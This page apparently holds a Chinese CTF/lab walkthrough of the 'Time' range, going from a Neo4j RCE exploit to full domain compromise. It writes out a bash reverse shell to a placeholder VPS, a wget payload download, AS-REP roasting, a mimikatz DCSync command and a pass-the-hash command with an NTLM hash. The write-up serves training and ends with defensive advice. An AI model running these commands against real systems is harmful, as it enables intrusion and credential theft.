当前位置: 首页 > news >正文

春秋云境Time靶场实战:从Neo4j漏洞到域控沦陷的完整攻击链剖析

1. 靶场环境与初始信息收集

春秋云境Time靶场是一个模拟企业内网环境的渗透测试平台,这次实战的目标是从外部网络突破边界,最终获取域控制器权限。我们先从基础的端口扫描开始,使用经典的fscan工具对目标IP段进行探测:

fscan.exe -h 39.99.233.234 -p 1-65535

扫描结果显示开放了7474和7687端口,这两个端口是Neo4j图数据库的默认服务端口。Neo4j在企业中常用于知识图谱、关系分析等场景,但旧版本存在已知的RCE漏洞(CVE-2021-34371)。通过浏览器访问7474端口的Neo4j Web界面,可以确认存在漏洞的版本。

这里有个实用技巧:当遇到需要上传工具到目标机器时,如果目标机器有网络访问权限,可以快速搭建临时HTTP服务:

# 攻击机开启HTTP服务 python3 -m http.server 80 # 目标机下载工具 wget http://your_vps_ip/frp/frpc

2. Neo4j漏洞利用与初始立足

确认存在漏洞后,我们使用公开的rhino_gadget.jar利用工具,通过Base64编码反弹shell命令。这里要注意编码转换的细节:

# 生成Base64编码的反弹shell命令 echo 'bash -i >& /dev/tcp/your_vps_ip/9999 0>&1' | base64 # 利用漏洞执行命令 java -jar ./rhino_gadget.jar rmi://39.99.151.101:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}"

成功获取shell后,第一件事是信息收集:

  • 查看当前用户权限:whoami
  • 查看网络配置:ifconfig
  • 寻找flag文件:find / -name flag* 2>/dev/null

通过ifconfig发现内网网段为172.22.6.0/24,这就是我们后续横向移动的主战场。此时需要将必要的工具(如frp、fscan)上传到目标机器,建议放在/tmp目录下,因为通常这个目录有写入权限。

3. 内网横向移动与代理搭建

拿到初始shell后,我们需要建立稳定的通信通道。使用frp进行内网穿透是个不错的选择:

# frpc.ini配置示例 [common] server_addr = your_vps_ip server_port = 7000 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000

接着用fscan扫描内网,发现几个关键资产:

  • 172.22.6.12 域控制器
  • 172.22.6.25 域成员服务器
  • 172.22.6.38 Web后台系统

对于内网Web应用(172.22.6.38),我们可以通过BurpSuite建立SOCKS代理进行分析。这里有个小技巧:Burp的Proxy -> Options里可以直接设置SOCKS代理,方便抓取内网流量。

发现Web应用存在SQL注入后,使用sqlmap进行自动化利用:

proxychains sqlmap -r request.txt --dump -D oa_db -T oa_users -C email

从oa_users表中提取的用户邮箱列表,可以整理成用户名字典,为后续的域用户枚举做准备。

4. 域渗透与权限提升

有了用户名字典后,我们使用Kerbrute进行域用户枚举。这里涉及到Kerberos协议的一个特性:当用户不存在时,AS-REQ请求会返回KDC_ERR_C_PRINCIPAL_UNKNOWN错误,借此可以验证用户是否存在。

./kerbrute_linux_386 userenum --dc 172.22.6.12 -d xiaorang.lab users.txt -t 10

枚举出有效用户后,重点检查哪些账户设置了"不需要Kerberos预认证"选项。使用Impacket的GetNPUsers.py可以获取这些用户的AS-REP响应:

proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile valid_users.txt xiaorang.lab/

得到的AS-REP响应可以用hashcat离线破解:

hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

成功破解出zhangxin用户的密码后,通过RDP登录172.22.6.25。检查注册表发现系统配置了自动登录:

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

获取到yuxuan用户的凭证后,使用BloodHound分析域内关系,发现该用户存在SID历史滥用问题。SIDHistory属性原本用于域迁移时保留原有权限,但配置不当会导致权限提升。

最后使用mimikatz进行DCSync攻击,获取域管理员哈希:

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

拿到域管理员哈希后,整个域就沦陷了。可以通过哈希传递访问其他关键服务器获取剩余flag:

proxychains impacket-wmiexec -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 Administrator@172.22.6.12

整个攻击链从外部漏洞利用到内网横向,再到域权限提升,展示了企业内网中常见的安全薄弱环节。防御方需要加强边界防护、及时修补中间件漏洞、严格控制域内权限分配,并定期检查SIDHistory等特殊属性配置。

http://www.jsqmd.com/news/841720/

相关文章:

  • 质性数据处理太慢?NotebookLM+NVivo双引擎协同方案,效率提升3.8倍,仅限首批200名研究者获取
  • 操作系统资源合集
  • 测试0998y测试0998y测试0998y测试0998y
  • 【软考高级架构】论文范文19——论软件系统架构风格
  • 备战蓝桥杯国赛【Day 16】
  • MATLAB浮动许可利用率低:软件许可浪费,提高周转率
  • 从零构建AI智能体技能库:设计、实现与集成实战
  • 利用Taotoken实现AI应用的高可用与容灾路由设计思路
  • 【Python Kaggle实战】从泰坦尼克号数据挖掘到模型调优:一个完整机器学习工作流解析
  • TVA动态批处理保延迟低于100ms
  • 基于OpenCV与MediaPipe的手势与头部姿态控制鼠标实现
  • 开源AI角色库:如何用结构化提示词打造个性化数字人格
  • 13 移动端 WEB 前端 WEB 开发 HTML5 + CSS3 + 移动 WEB
  • NotebookLM工程研究辅助效能倍增术(实测数据:文献处理效率↑370%,技术方案产出周期↓62%)
  • NotebookLM戏剧辅助失效的9种典型误用场景:中央戏剧学院教研组紧急发布的避坑清单
  • vue基于springboot框架的幼儿园管理系统
  • 手把手教你用TI C2000 DSP的SCI串口实现printf调试(附完整代码)
  • 为什么Zotero Format Metadata的Short Title句子式大写转换功能对学术写作如此重要?
  • 【限时开放】NotebookLM气候专项Prompt Library(含AR6 WGII章节级语义索引模板):仅向高校科研组开放72小时
  • 【国家林草局重点实验室内部资料】:NotebookLM+森林生态数据库的6类高价值应用场景(含敏感数据脱敏处理流程)
  • 别再纠结电流还是电压了!用Simulink仿真混合式步进电机细分驱动,手把手教你选对控制方式
  • STM32F103C8T6平衡小车避坑指南:TB6612电机驱动、编码器与MPU6050的HAL库实战配置
  • Vxe-Table与Element-Plus混搭开发ERP表格,我踩过的那些坑和填坑代码
  • 均匀辐照度和局部遮光条件下光伏系统的新型样条-MPPT技术附Simulink仿真
  • 【软考高级架构】论文范文20——论软件设计方法及其应用
  • Zabbix监控
  • ssm中国篮球人才管理系统(10050)
  • 基于Arduino与NeoPixel的声控LED棒球帽制作全攻略
  • Scroll Reverser:macOS上实现多设备独立滚动方向的终极解决方案
  • MASA模组汉化包完整教程:如何让Minecraft模组界面说中文